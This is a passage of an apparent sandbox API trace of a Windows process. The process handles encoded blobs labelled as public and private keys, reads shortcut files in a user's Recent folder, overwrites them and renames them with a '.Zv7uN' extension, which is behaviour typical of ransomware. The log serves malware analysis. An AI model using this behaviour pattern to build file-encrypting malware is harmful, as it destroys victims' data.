8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.614] GetCurrentThreadId () returned 0xa30 [0083.614] GetCurrentThreadId () returned 0xa30 [0083.614] GetCurrentThreadId () returned 0xa30 [0083.614] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TtSX604s.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ttsx604s.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.614] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.614] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.614] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xe66 [0083.614] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.614] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xe66, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xe66, lpOverlapped=0x0) returned 1 [0083.616] CloseHandle (hObject=0x124) returned 1 [0083.616] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TtSX604s.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ttsx604s.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.617] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xe66, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xe66, lpOverlapped=0x0) returned 1 [0083.619] CloseHandle (hObject=0x124) returned 1 [0083.620] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TtSX604s.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ttsx604s.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TtSX604s.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ttsx604s.lnk.zv7un")) returned 1 [0083.669] GetCurrentThreadId () returned 0xa30 [0083.669] GetCurrentThreadId () returned 0xa30 [0083.669] GetCurrentThreadId () returned 0xa30 [0083.669] GetCurrentThreadId () returned 0xa30 [0083.669] GetCurrentThreadId () returned 0xa30 [0083.669] GetCurrentThreadId () returned 0xa30 [0083.669] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5ba360, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d5ba360, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d5ba360, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x96a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="tz0VN5KTRkT.lnk", cAlternateFileName="TZ0VN5~1.LNK")) returned 1 [0083.669] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.669] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.669] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tz0VN5KTRkT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tz0vn5ktrkt.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5ba360, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d5ba360, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d5ba360, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x96a)) returned 1 [0083.669] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tz0VN5KTRkT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tz0vn5ktrkt.lnk")) returned 0x20 [0083.669] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tz0VN5KTRkT.lnk", dwFileAttributes=0x80) returned 1 [0083.671] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.671] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.672] GetCurrentThreadId () returned 0xa30 [0083.672] GetCurrentThreadId () returned 0xa30 [0083.672] GetCurrentThreadId () returned 0xa30 [0083.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.673] GetCurrentThreadId () returned 0xa30 [0083.673] GetCurrentThreadId () returned 0xa30 [0083.673] GetCurrentThreadId () returned 0xa30 [0083.673] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tz0VN5KTRkT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tz0vn5ktrkt.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.673] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.673] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.674] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x96a [0083.674] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.674] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x96a, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | 